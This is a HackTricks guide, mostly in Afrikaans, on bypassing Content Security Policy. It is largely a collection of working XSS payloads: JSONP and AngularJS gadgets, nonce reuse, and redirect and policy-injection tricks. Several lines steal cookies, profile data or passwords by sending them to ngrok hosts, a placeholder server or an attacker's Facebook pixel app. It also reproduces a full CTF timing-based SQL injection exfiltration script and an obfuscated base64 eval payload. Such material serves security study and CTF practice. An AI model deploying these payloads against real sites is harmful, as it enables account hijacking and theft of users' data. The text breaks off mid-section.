Inhoudsveiligheidsbeleid (CSP) Bypass
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Wat is CSP
Content Security Policy (CSP) word erken as ân blaaier-tegnologie, hoofsaaklik gerig op beskerming teen aanvalle soos cross-site scripting (XSS). Dit funksioneer deur paaie en bronne te definieer en te beskryf waarvan hulpbronne veilig deur die blaaier gelaai kan word. Hierdie hulpbronne sluit ân reeks elemente in soos beelde, frames en JavaScript. Byvoorbeeld, ân beleid kan die laai en uitvoering van hulpbronne vanaf dieselfde domein (self) toelaat, insluitend inline-hulpbronne en die uitvoering van string-kode deur funksies soos eval, setTimeout, of setInterval.
Die implementering van CSP gebeur deur middel van response headers of deur meta-elemente in die HTML-bladsy in te sluit. Blaaiers handhaaf hierdie beleid proaktief en blokkeer onmiddellik enige opgespoorde oortredings.
- GeĂŻmplementeer via response header:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- GeĂŻmplementeer via meta tag:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Headers
CSP kan afgedwing of gemonitor word met behulp van hierdie headers:
Content-Security-Policy: Dwing die CSP af; die blaaier blokkeer enige oortredings.Content-Security-Policy-Report-Only: Word gebruik vir monitering; rapporteer oortredings sonder om dit te blokkeer. Ideaal vir toetsing in pre-produksie omgewings.
Defining Resources
CSP beperk die oorspronge vir die laai van beide aktiewe en passiewe inhoud, en beheer aspekte soos inline JavaScript-uitvoering en die gebruik van eval(). ân Voorbeeldbeleid is:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
Direktiewe
- script-src: Laat spesifieke bronne toe vir JavaScript, insluitende URLâs, inline scripts, en skripte wat deur event handlers of XSLT-stylbladsye geaktiveer word.
- default-src: Stel ân standaardbeleid vir die haal van hulpbronne wanneer spesifieke fetch-direktiewe ontbreek.
- child-src: Spesifiseer toegelate hulpbronne vir web workers en ingebedde raam-inhoud.
- connect-src: Beperk URLâs wat via interfaces soos fetch, WebSocket, XMLHttpRequest gelaai kan word.
- frame-src: Beperk URLâs vir rame.
- frame-ancestors: Spesifiseer watter bronne die huidige bladsy kan insluit, van toepassing op elemente soos
<frame>,<iframe>,<object>,<embed>, en<applet>. - img-src: Bepaal toegelate bronne vir beelde.
- font-src: Spesifiseer geldige bronne vir fonts wat met
@font-facegelaai word. - manifest-src: Bepaal toegelate bronne van toepassings-manifestlĂȘers.
- media-src: Bepaal toegelate bronne vir die laai van media-objekte.
- object-src: Bepaal toegelate bronne vir
<object>,<embed>, en<applet>-elemente. - base-uri: Spesifiseer toegelate URLâs vir laai via
<base>-elemente. - form-action: Lys geldige eindpunte vir formulierindienings.
- plugin-types: Beperk mime-tipes wat ân bladsy kan aanroep.
- upgrade-insecure-requests: Beveel browsers om HTTP-URLâs na HTTPS te herskryf.
- sandbox: Pas beperkings toe soortgelyk aan die sandbox-atribuut van ân
<iframe>. - report-to: Spesifiseer ân groep waaraan ân verslag gestuur word as die beleid oortree word.
- worker-src: Spesifiseer geldige bronne vir Worker, SharedWorker of ServiceWorker-skripte.
- prefetch-src: Spesifiseer geldige bronne vir hulpbronne wat gefetch of geprefetch sal word.
- navigate-to: Beperk die URLâs waarna ân dokument op enige wyse kan navigeer (a, form, window.location, window.open, etc.)
Bronne
*: Laat alle URLâs toe behalwe diĂ© metdata:,blob:,filesystem:skemas.'self': Laat laai vanaf dieselfde domein toe.'data': Laat hulpbronne deur die data-skemas gelaai word (bv. Base64-geĂ«nkodeerde beelde).'none': Blokkeer laai vanaf enige bron.'unsafe-eval': Laat gebruik vaneval()en soortgelyke metodes toe; nie aanbeveel vir sekuriteitsredes nie.'unsafe-hashes': Skakel spesifieke inline event handlers in.'unsafe-inline': Laat gebruik van inline hulpbronne soos inline<script>of<style>toe; nie aanbeveel vir sekuriteitsredes nie.'nonce': ân witlys vir spesifieke inline skripte wat ân kriptografiese nonce gebruik (eenmalig gebruik).- If you have JS limited execution itâs possible to get a used nonce inside the page with
doc.defaultView.top.document.querySelector("[nonce]")and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isnât needed), like in:
Laai script deur nonce te hergebruik
```html'sha256-<hash>': Witlys scripts met ân spesifieke sha256-hash.'strict-dynamic': Laat scripts van enige bron toe as dit deur ân nonce of hash op die witlys geplaas is.'host': Bepaal ân spesifieke host, soosexample.com.https:: Beperk URLâe tot diĂ© wat HTTPS gebruik.blob:: Laat hulpbronne toe om vanaf Blob-URLâs gelaai te word (bv. Blob-URLâs geskep via JavaScript).filesystem:: Laat hulpbronne toe om vanaf die filesystem gelaai te word.'report-sample': Sluit ân voorbeeld van die oortredende kode in die oortredingsverslag in (nuttig vir debugging).'strict-origin': Soortgelyk aan âselfâ maar verseker dat die protokol-sekuriteitsvlak van die bronne ooreenstem met diĂ© van die dokument (slegs veilige oorspronge kan hulpbronne vanaf veilige oorspronge laai).'strict-origin-when-cross-origin': Stuur volle URLâe vir same-origin-versoeke maar stuur slegs die oorsprong wanneer die versoek cross-origin is.'unsafe-allow-redirects': Laat hulpbronne toe wat onmiddellik na ân ander hulpbron herlei. Nie aanbeveel nie aangesien dit sekuriteit verswak.
Onveilige CSP-reëls
âunsafe-inlineâ
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Werkende payload: "/><script>alert(1);</script>
self + âunsafe-inlineâ via Iframes
CSP bypass: self + âunsafe-inlineâ with Iframes
âunsafe-evalâ
Caution
Dit werk nie, vir meer inligting check this.
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
Werkende payload:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
As jy op een of ander manier ân toegelate JS-kode ân nuwe script tag in die DOM met jou JS-kode laat skep, omdat ân toegelate script dit skep, sal die nuwe script tag toegelaat word om uitgevoer te word.
Wildkaart (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
Werkende payload:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
Gebrek aan object-src en default-src
[!CAUTION] > Dit lyk of dit nie meer werk nie
Content-Security-Policy: script-src 'self' ;
Werkende payloads:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
LĂȘeroplaai + âselfâ
Content-Security-Policy: script-src 'self'; object-src 'none' ;
As jy ân JS file kan upload, kan jy hierdie CSP omseil:
Werkende payload:
"/>'><script src="/uploads/picture.png.js"></script>
However, itâs highly probable that the server is valideer die opgelaaide lĂȘer en will only allow you to ân bepaalde tipe lĂȘers oplaai.
Moreover, even if you could upload a JS code inside a file using an extension accepted by the server (like: script.png) this wonât be enough because some servers like apache server MIME type van die lĂȘer op grond van die uitbreiding kies and browsers like Chrome will weier om Javascript uit te voer code inside something that should be an image. âGelukkigâ, daar is foute. For example, from a CTF I learnt that Apache doesnât know the .wave extension, therefore it doesnât serve it with a MIME type like audio/*.
From here, if you find a XSS and a file upload, and you manage to find a misinterpreted extension, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot (some polyglot examples here).
Form-action
If not possible to inject JS, you could still try to exfiltrate for example credentials injecting a form action (and maybe expecting password managers to auto-fill passwords). You can find an example in this report. Also, notice that default-src does not cover form actions.
Warning
For some of the following payload
unsafe-evalis not even needed.
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
Laai ân kwesbare weergawe van angular en voer arbitrĂȘre JS uit:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Payloads wat Angular + ân biblioteek met funksies gebruik wat die window object teruggee (check out this post):
Tip
Die pos wys dat jy alle biblioteke vanaf
cdn.cloudflare.com(of enige ander toegelate JS-biblioteekrepo) kan laai, alle bygevoegde funksies van elke biblioteek kan uitvoer, en nagaan watter funksies van watter biblioteke diewindowobject teruggee.
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Angular XSS van ân class name:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Misbruik van google recaptcha JS code
Volgens hierdie CTF writeup kan jy https://www.google.com/recaptcha/ binne ân CSP misbruik om arbitrĂȘre JS code uit te voer wat die CSP omseil:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
Meer payloads from this writeup:
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />
<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
Misbruik van www.google.com vir open redirect
Die volgende URL herlei na example.com (van here):
https://www.google.com/amp/s/example.com/
Misbruik van *.google.com/script.google.com
Dit is moontlik om Google Apps Script te misbruik om inligting te ontvang op ân bladsy binne script.google.com. Soos in hierdie verslag.
Derdepartye-eindpunte + JSONP
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
Scenarioâs soos hierdie, waar script-src op self gestel is en ân bepaalde domein wat op die witlys is, kan met JSONP omseil word. JSONP endpoints laat onveilige callback methods toe wat ân attacker toelaat om XSS uit te voer, working payload:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
JSONBee bevat kant-en-klare JSONP endpoints vir CSP-bypass van verskeie webwerwe.
Die dieselfde kwesbaarheid sal voorkom as die trusted endpoint contains an Open Redirect omdat, as die aanvanklike endpoint vertrou word, redirects ook vertrou word.
Derdeparty misbruik
Soos beskryf in die following post, daar is baie derdeparty-domeine wat dalk ĂȘrens in die CSP toegelaat word en wat misbruik kan word om data te exfiltrate of JavaScript code uit te voer. Sommige van hierdie derdepartye is:
| Entiteit | Toegelate Domain | Vermoëns |
|---|---|---|
| www.facebook.com, *.facebook.com | Exfil | |
| Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
| Amazon AWS | *.amazonaws.com | Exfil, Exec |
| Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
| Google Firebase | *.firebaseapp.com | Exfil, Exec |
As jy enige van die toegelate domeine in die CSP van jou teiken vind, is dit waarskynlik dat jy die CSP kan omseil deur op die derdeparty-diens te registreer en Ăłf data na daardie diens te exfiltrate Ăłf code uit te voer.
Byvoorbeeld, as jy die volgende CSP vind:
Content-Security-Policyâ: default-src 'selfâ www.facebook.com;â
of
Content-Security-Policyâ: connect-src www.facebook.com;â
Jy behoort in staat te wees om data te exfiltrate, soortgelyk aan hoe dit nog altyd met Google Analytics/Google Tag Manager gedoen is. In hierdie geval volg jy die volgende algemene stappe:
- Skep ân Facebook Developer account hier.
- Skep ân nuwe âFacebook Loginâ app en kies âWebsiteâ.
- Gaan na âSettings -> Basicâ en kry jou âApp IDâ
- Op die target site waarvan jy data wil exfiltrate, kan jy data exfiltrate deur direk die Facebook SDK gadget âfbqâ te gebruik via ân âcustomEventâ en die data payload.
- Gaan na jou App âEvent Managerâ en kies die application wat jy geskep het (let wel dat die event manager in ân URL gevind kan word wat soortgelyk is aan hierdie: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)
- Kies die tab âTest Eventsâ om die events te sien wat deur âjouâ web site gestuur word.
Dan, aan die victim kant, voer jy die volgende code uit om die Facebook tracking pixel te initialize om na die attackerâs Facebook developer account app-id te wys en ân custom event uit te gee soos volg:
fbq('init', '1279785999289471');â // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{â
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"â
});
Wat die ander sewe derdeparty-domeine in die vorige tabel betref, is daar baie ander maniere waarop jy hulle kan misbruik. Verwys na die voorafgaande blog post vir addisionele verduidelikings oor ander derdeparty-misbruike.
Bypass via RPO (Relative Path Overwrite)
Benewens die hierbo genoemde herleiding om padbeperkings te omseil, is daar nog ân tegniek genaamd Relative Path Overwrite (RPO) wat op sommige servers gebruik kan word.
Byvoorbeeld, as CSP die pad https://example.com/scripts/react/ toelaat, kan dit as volg omseil word:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
Die blaaier sal uiteindelik die lĂȘer https://example.com/scripts/angular/angular.js laai.
Dit werk omdat jy vir die blaaier ân lĂȘer met die naam ..%2fangular%2fangular.js laai wat onder https://example.com/scripts/react/ geleĂ« is, wat voldoen aan CSP.
Dan dekodeer hulle dit, wat effektief https://example.com/scripts/react/../angular/angular.js versoek, wat gelykstaan aan https://example.com/scripts/angular/angular.js.
Deur misbruik te maak van hierdie inkonsekwentheid in URL-interpretasie tussen die blaaier en die bediener, kan die padreëls omseil word.
Die oplossing is om nie %2f as / aan die bediener-kant te hanteer nie, sodat interpretasie tussen die blaaier en die bediener konsekwent is om hierdie probleem te vermy.
Online Example: https://jsbin.com/werevijewa/edit?html,output
Iframes JS execution
ontbrekende base-uri
As die base-uri-direktief ontbreek, kan jy dit misbruik om ân dangling markup injection uit te voer.
Boonop, as die bladsy ân script laai met ân relatiewe pad (soos <script src="/js/app.js">) wat ân Nonce gebruik, kan jy die base tag misbruik om dit vanaf jou eie bediener te laat laai, wat ân XSS veroorsaak.
As die kwesbare bladsy met httpS gelaai word, gebruik ân httpS url in die base.
<base href="https://www.attacker.com/" />
AngularJS gebeure
ân Spesifieke beleid bekend as Content Security Policy (CSP) kan JavaScript-gebeure beperk. Nietemin bied AngularJS aangepaste gebeure as ân alternatief. Binne ân gebeurtenis voorsien AngularJS ân unieke objek $event, wat na die inheemse blaaier se gebeurtenis-objek verwys. Hierdie $event-objek kan uitgebuit word om die CSP te omseil. Opmerklik is dat in Chrome die $event/event-objek ân path-eienskap het wat ân array van objekke bevat wat by die gebeurtenis-uitvoeringsketting betrokke is, met die window-objek altyd aan die einde. Hierdie struktuur is deurslaggewend vir sandbox escape-taktieke.
Deur hierdie array na die orderBy-filter te stuur, is dit moontlik om daaroor te iterereer en die terminaalelement (die window-objek) te gebruik om ân globale funksie soos alert() aan te roep. Die onderstaande kode-voorbeeld illustreer hierdie proses:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
Hierdie kodefragment beklemtoon die gebruik van die ng-focus direktief om die gebeurtenis te aktiveer, deur $event.path|orderBy te gebruik om die path-reeks te manipuleer, en deur die window-objek te benut om die alert()-funksie uit te voer, wat sodoende document.cookie openbaar maak.
Vind ander Angular bypasses in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS en whitelisted domain
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
ân CSP-beleid wat domeine op die witlys plaas vir script loading in ân Angular JS-toepassing kan omseil word deur die aanroep van callback functions en sekere kwesbare classes. Meer inligting oor hierdie tegniek is beskikbaar in ân gedetailleerde gids op hierdie git repository.
Werkende payloads:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
Other JSONP arbitrary execution endpoints can be found in here (sommige daarvan is verwyder of reggestel)
Bypass via Redirection
Wat gebeur wanneer CSP server-side redirection teĂ«kom? As die redirection na ân ander origin lei wat nie toegelaat is nie, sal dit steeds misluk.
However, according to the description in CSP spec 4.2.2.3. Paths and Redirects, if the redirection leads to a different path, it can bypass the original restrictions.
Hier is ân voorbeeld:
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
As CSP gestel is op https://www.google.com/a/b/c/d, aangesien die pad in ag geneem word, sal beide /test en /a/test skripte deur CSP geblokkeer word.
Die finale http://localhost:5555/301 sal egter server-side omgerig word na https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Omdat dit ân omleiding is, word die pad nie in ag geneem nie, en die skrip kan gelaai word, wat dus die padbeperking omseil.
Met hierdie omleiding, selfs al is die pad volledig gespesifiseer, sal dit steeds omseil word.
Daarom is die beste oplossing om te verseker dat die webwerf geen open redirect kwesbaarhede het nie en dat daar geen domeine in die CSP-reëls is wat misbruik kan word nie.
Bypass CSP with dangling markup
Read how here.
âunsafe-inlineâ; img-src *; via XSS
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline' beteken dat jy enige script binne die code kan uitvoer (XSS kan code uitvoer) en img-src * beteken dat jy in die webblad enige image van enige bron kan gebruik.
Jy kan hierdie CSP omseil deur die data via images te exfiltrate (in hierdie geval misbruik die XSS ân CSRF waar ân page wat deur die bot toeganklik is ân SQLi bevat, en die flag via ân image ekstraheer):
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Jy kan hierdie konfigurasie ook misbruik om javascript-kode wat in ân beeld ingesit is te laai. As byvoorbeeld die bladsy toelaat om beelde vanaf Twitter te laai. Jy kan ân spesiale beeld skep, dit na Twitter upload en die âunsafe-inlineâ misbruik om ân JS-kode uit te voer (soos ân gewone XSS) wat die beeld sal laai, die JS daaruit uittrek en dit uitvoer: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
Met Service Workers
Service workers se importScripts funksie is nie deur CSP beperk nie:
Policy Injection
Navorsing: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
As ân parameter wat deur jou gestuur is binne die deklarasie van die policy ingeplak word, kan jy die policy op ân wyse verander wat dit nutteloos maak. Jy kan script âunsafe-inlineâ toelaat met enige van hierdie bypasses:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
Omdat hierdie directive die bestaande script-src directives oorskryf.
Jy kan ân voorbeeld hier vind: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
In Edge is dit baie eenvoudiger. As jy net hierdie in die CSP kan voeg: ;_, sal Edge die hele beleid verwyder.
Voorbeeld: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; via XSS (iframe) - Time attack
Let op die afwesigheid van die directive 'unsafe-inline'
Hierdie keer kan jy die slagoffer laat laai ân bladsy onder jou beheer via XSS met ân <iframe. Hierdie keer gaan jy die slagoffer laat toegang kry tot die bladsy waarvandaan jy inligting wil onttrek (CSRF). Jy kan nie toegang tot die inhoud van die bladsy kry nie, maar as jy op een of ander manier die tyd wat die bladsy nodig het om te laai kan beheer, kan jy die inligting onttrek wat jy benodig.
Hierdie keer gaan ân flag onttrek word: wanneer ân char korrek geraai word via SQLi neem die response meer tyd as gevolg van die sleep function. Dan sal jy in staat wees om die flag te onttrek:
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}
function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}
async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}
let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"
async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}
run()
</script>
Deur Bookmarklets
Hierdie aanval behels ân mate van social engineering waar die aanvaller oortuig die gebruiker om ân skakel oor die bookmarklet van die browser te drag&dropped. Hierdie bookmarklet sal kwaadwillige javascript kode bevat wat, wanneer dit drag&dropped of geklik word, in die konteks van die huidige webvenster uitgevoer sal word, CSP omseil en toelaat om sensitiewe inligting te steel soos cookies of tokens.
Vir meer inligting kyk na die oorspronklike verslag hier.
CSP omseiling deur CSP te beperk
In hierdie CTF writeup, word CSP omseil deur binne ân toegelate Iframe ân meer beperkende CSP in te spuit wat verhinder het dat ân spesifieke JS-lĂȘer gelaai word wat, daarna, via prototype pollution of dom clobbering toegelaat het om ân ander script te misbruik om ân ewekansige script te laai.
Jy kan die CSP van ân Iframe beperk met die csp attribuut:
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
In this CTF writeup, dit was moontlik via HTML injection om ân CSP meer te beperk sodat ân script wat CSTI verhoed gedeaktiveer is en dus die kwesbaarheid exploiteerbaar geword het.
CSP kan meer beperkend gemaak word deur HTML meta tags te gebruik en inline scripts kan gedeaktiveer word deur die entry wat hul nonce toelaat te verwyder en spesifieke inline script via sha toe te laat:
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
JS exfiltration with Content-Security-Policy-Report-Only
As jy daarin slaag om die server te laat reageer met die header Content-Security-Policy-Report-Only met ân waarde wat deur jou beheer word (bv. as gevolg van ân CRLF), kan jy dit na jou server laat wys, en as jy die JS inhoud wat jy wil exfiltreer omvou met <script> en aangesien dit waarskynlik is dat unsafe-inline nie deur die CSP toegelaat word nie, sal dit ân CSP error veroorsaak en ân deel van die script (wat die sensitiewe inligting bevat) vanaf Content-Security-Policy-Report-Only na die server gestuur word.
Vir ân voorbeeld kyk na hierdie CTF writeup.
CVE-2020-6519
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
Leaking Inligting met CSP en Iframe
- Daar word ân
iframegeskep wat na ân URL wys (kom ons noem dithttps://example.redirect.com) wat deur CSP toegelaat word. - Hierdie URL herlei dan na ân geheime URL (bv.
https://usersecret.example2.com) wat nie deur CSP toegelaat word nie. - Deur na die
securitypolicyviolationevent te luister, kan mens dieblockedURI-eienskap vang. Hierdie eienskap openbaar die domein van die geblokkeerde URI, en leak die geheime domein waarheen die aanvanklike URL herlei het.
Dit is interessant om op te let dat blaaiers soos Chrome en Firefox verskillende gedrag toon in die hantering van iframes met betrekking tot CSP, wat kan lei tot potensiële leak van sensitiewe inligting weens ongedefinieerde gedrag.
Nog ân tegniek behels die uitbuiting van die CSP self om die geheime subdomein af te lei. Hierdie metode berus op ân binaire soekalgoritme en die aanpassing van die CSP om spesifieke domeine in te sluit wat doelbewus geblokkeer word. Byvoorbeeld, as die geheime subdomein uit onbekende karakters bestaan, kan jy iteratief verskillende subdomeine toets deur die CSP-direktief te wysig om daardie subdomeine te blokkeer of toe te laat. Hier is ân stukkie kode wat wys hoe die CSP opgestel kan word om hierdie metode te fasiliteer:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
Deur te monitor watter versoeke deur die CSP geblokkeer of toegelaat word, kan mens die moontlike karakters in die geheime subdomein beperk, en uiteindelik die volledige URL ontdek.
Beide metodes benut die nuanses van CSP-implementasie en gedrag in blaaiers, en demonstreer hoe skynbaar veilige beleide onbedoeld sensitiewe inligting kan leak.
Truuk van here.
Onveilige Tegnologieë om CSP te Omseil
PHP Errors when too many params
Volgens die last technique commented in this video, die stuur van te veel parameters (1001 GET parameters alhoewel jy dit ook met POST params en meer as 20 files kan doen). Enige gedefinieerde header() in die PHP-webkode sal nie gestuur word nie weens die fout wat dit sal veroorsaak.
PHP response buffer overload
